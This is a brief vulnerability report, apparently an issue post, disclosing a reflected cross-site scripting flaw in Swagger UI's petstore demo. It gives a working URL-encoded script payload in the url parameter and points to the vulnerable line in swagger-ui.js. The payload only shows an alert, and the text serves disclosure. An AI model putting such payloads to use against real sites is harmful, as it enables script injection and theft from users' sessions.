Here is the XSS. http://petstore.swagger.io/?url=%3Cscript%3Ealert(atob(%22SGVyZSBpcyB0aGUgWFNT%22))%3C/script%3E The problem is in /swagger-api/swagger-ui/master/dist/swagger-ui.js at line $('#input_baseUrl').val(url);